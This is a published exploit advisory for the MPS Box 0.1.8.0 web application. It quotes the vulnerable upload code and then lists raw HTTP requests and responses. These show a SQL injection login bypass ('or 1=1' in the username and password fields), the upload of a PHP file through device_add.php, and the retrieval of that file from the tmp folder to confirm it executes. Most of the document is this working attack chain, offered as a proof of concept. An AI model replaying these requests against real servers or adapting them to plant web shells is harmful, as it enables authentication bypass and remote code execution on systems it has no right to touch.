MPS Box 0.1.8.0 Arbitrary File Upload

`# Exploit Title: MPS Box 0.1.8.0 - Arbitrary File Upload  
# Dork: N/A  
# Date: 2018-10-25  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://www.mpsbox.com/  
# Software Link: https://sourceforge.net/projects/mpsbox/files/latest/download  
# Version: 0.1.8.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/device_add.php  
#   
# http://localhost/[PATH]/tmp/[FILE]  
#   
# [PATH]/device_add.php  
# ....  
# 51 if(isset($_POST['upload'])) {  
# 52   
# 53 $uploaddir = realpath(dirname(__FILE__)) . '/tmp/';  
# 54 $uploadfile = $uploaddir . basename($_FILES['files_to_upload']['name']);  
# 55   
# 56 if (move_uploaded_file($_FILES['files_to_upload']['tmp_name'], $uploadfile)) {  
# 57 // $_SESSION['status'] = "File is valid, and was successfully uploaded.\n";  
# 58   
# 59 $file_handle = fopen($uploadfile, "r");  
# 60 while (!feof($file_handle) ) {  
# 61 $line_of_text = fgetcsv($file_handle, 1024);  
# 62 if(!empty($line_of_text[0])) {  
# 63 device_queue_add('new','',"$line_of_text[0]","$line_of_text[1]",'','1');  
# 64 }  
# 65 }  
# ....  
  
POST /[PATH]/login_page.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/[PATH]/login_page.php  
Cookie: PHPSESSID=c1lc3729cfh58b72udo055urg7  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 85  
username=%27or+1%3D1+or+%27%27%3D%27&password=%27or+1%3D1+or+%27%27%3D%27&login=Login  
HTTP/1.1 302 Found  
Date: Thu, 25 Oct 2018 13:34:44 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Location: http://localhost/[PATH]/device_add.php  
Content-Length: 5652  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
  
POST http://localhost/[PATH]/device_add.php HTTP/1.1  
Host: 192.168.1.27  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=c1lc3729cfh58b72udo055urg7  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=  
---------------------------20568543311864623172004480142  
Content-Length: 509  
-----------------------------20568543311864623172004480142  
Content-Disposition: form-data; name="files_to_upload"; filename="phpinfo.php"  
Content-Type: application/force-download  
<?php  
phpinfo();  
?>  
-----------------------------20568543311864623172004480142  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
100000  
-----------------------------20568543311864623172004480142  
Content-Disposition: form-data; name="upload"  
Upload  
-----------------------------20568543311864623172004480142--  
HTTP/1.1 302 Found  
Date: Thu, 25 Oct 2018 13:35:07 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Location: device_upd.php  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
  
GET http://localhost/[PATH]/tmp/phpinfo.php HTTP/1.1  
Host: 192.168.1.27  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=c1lc3729cfh58b72udo055urg7  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Thu, 25 Oct 2018 13:35:38 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
  
<html>  
<body>  
<form class="form_nontbl" action="http://localhost/[PATH]/device_add.php" enctype="multipart/form-data" method="POST">  
<label>Select file</label><br>  
<input name="files_to_upload" type="file"><br>  
<a href="/inc/printers.csv">CSV file template</a>  
<label>&nbsp;</label><br>  
<input name="MAX_FILE_SIZE" value="100000" type="hidden">  
<input accept="csv" class="button alt2" name="upload" value="Upload" type="submit">  
</form>  
</body>  
</html>  
  
`